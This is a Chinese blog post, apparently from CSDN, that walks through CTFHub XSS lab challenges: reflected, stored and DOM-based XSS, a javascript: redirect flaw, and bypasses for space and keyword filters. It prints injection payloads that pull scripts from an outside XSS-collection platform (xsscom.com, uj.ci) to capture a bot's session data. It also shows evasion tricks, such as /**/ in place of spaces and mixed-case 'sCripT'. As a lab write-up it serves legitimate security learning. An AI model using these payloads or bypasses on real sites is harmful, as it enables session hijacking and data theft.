xss漏洞学习(题解)

1.简单知识点回顾

XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。

特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
类型:

DOM型:属于反射型的一种,利用非法输入来闭合对应的html标签。数据流向是URL→浏览器
存储型:危害大。相关源代码存放于服务器,用户浏览该页面时触发代码执行。
反射型:需要攻击者提前构造一个恶意链接来诱使客户点击。

2.反射型xss

1)进入题目环境,在文本框随意输入,它都能在页面显示,说明可以通过该输入,改变页面内容。

2)尝试输入判断xss的语句试试  <script>alert("1")</script>

3)页面出现提示,得到一个url,复制后放到第二个文本框

4)返回successfully得提示,猜测它应该是在后台进行访问。然后便要用到xss平台了

5)打开xss平台后,注册登录,然后新建一个项目勾选基础默认板块

6)然后将xss平台给的代码复制到第一个输入框中进行注入

7)提交后,在第二个框中访问第一个框注入XSS脚本后的网址,

8)显示成功,然后将注入后的网址复制粘贴到send框提交,接着在xss平台,创建的项目处查看返回的后台信息

9)展开返回的后台信息即可看到flag

3.存储型xss

1)进入环境后还是同样的有一个输入框和一个提交框,输入框中可以输入你的名字并提交。第二个输入框是发送构造好的 XSS 链接给机器人模拟执行。

2)看着跟反射型差不多,既然叫存储型,估计关键信息应该也是在后套信息中了,先按着前面的步骤来试试,先编写一个xss的测试语句  :<script>alert("mzxf")</script>

3)出现回显,然后将该网址复制然后然后粘贴在下面进行提交、

4)一样的,提交成功,但是url头并没有变化,但是说明关键信息在后台里,还是跟前面那一样吧,需要使用xss平台来进行注入

5)复制xss平台注入代码到第一个输入口:

6)上传后将该网页地址复制粘贴到第二个提交文本框内进行提交,

7)页面显示提交正确,然后在新建项目中查看,便能找到flag

3.DOM反射

1)进入环境后基本页面跟前面两个反射都是一样的,估计和解题方法和反射型也差不多,还是需要使用xss platformxss platform,创建项目即可。但是是需要注意的是,输入框中有我们 可控的地方,所以后面构造就需要注意了

<script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>

CTFHub is very niubility 替换成以下内容

';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>

也就是这里的注入语句没有闭合,需要修改xss平台给的注入语句,在前面加 个   ';</script></textarea>' "> 

给它构造闭合

..

2)然后将构造好的语句写入输入框,上传成功后再将当前页面地址复制到url处,提交成功在xss平台便看可以看到后台信息,然后找到flag

..

4.DOM跳转

1)进入题目环境,发现没有提交的窗口了

url这也只能传url头,不能随意输入

2)弄了半天,属实没思绪,一时间又陷入僵局,便去找 大佬的wp看了看,大佬是这样解读这题的

查看源码,这里有一个关键的地方存在xss漏洞

        这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL

        具体而言,它使用location.search获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")将其拆分为参数名和参数值的数组。

        然后,它检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

3)因此,这里可以构造如下语句来执行js

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:alert(1)

4)上传成功,然后就需要构造能访问 xss平台连接的代码,

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//uj.ci/w7r")

按照大佬的说法,这里这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,还有就是使用前提是要网站引用了jQuery。

jquery作用

访问和操作DOM元素

控制页面样式

对页面事件进行处理

扩展新的jQuery插件

与Ajax技术完美结合

jQuery能做的JavaScript也能做,但使用jQuery能大幅提高开发效率

jQuery和JavaScript之间的关系,可以理解为“成语”和“白话文”之间的关系。成语是对白话文的高度压缩,而jQuery也是对JavaScript的高度压缩库

具体请看:jQuery详解-CSDN博客

5)传入成功,然去xss平台找后台信息,拿到flag

5.过滤空格

1)进入环境,题目说是空格过滤,说明这里有空格绕过了

2)正常来,发现都没问题

3)后面也是一样,没啥问题,但是到最后去找后台信息就显示是啥都没有,需要我们在诸如语句中把空格用/**/代替,便可绕过

4)后台信息便能显示了

6.过滤关键词

1)打开题目环境,说是过滤关键字

2)看看源码有没有提示过滤啥,看了,明显是没提示

3)直接传入注入语句发现成功了

再传url头,发现也成功,xss平台也是直接找到flag

估计这里它过滤的可能是script,但是我的注入语句中是sCripT,相当于大写绕过了

  • 29
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值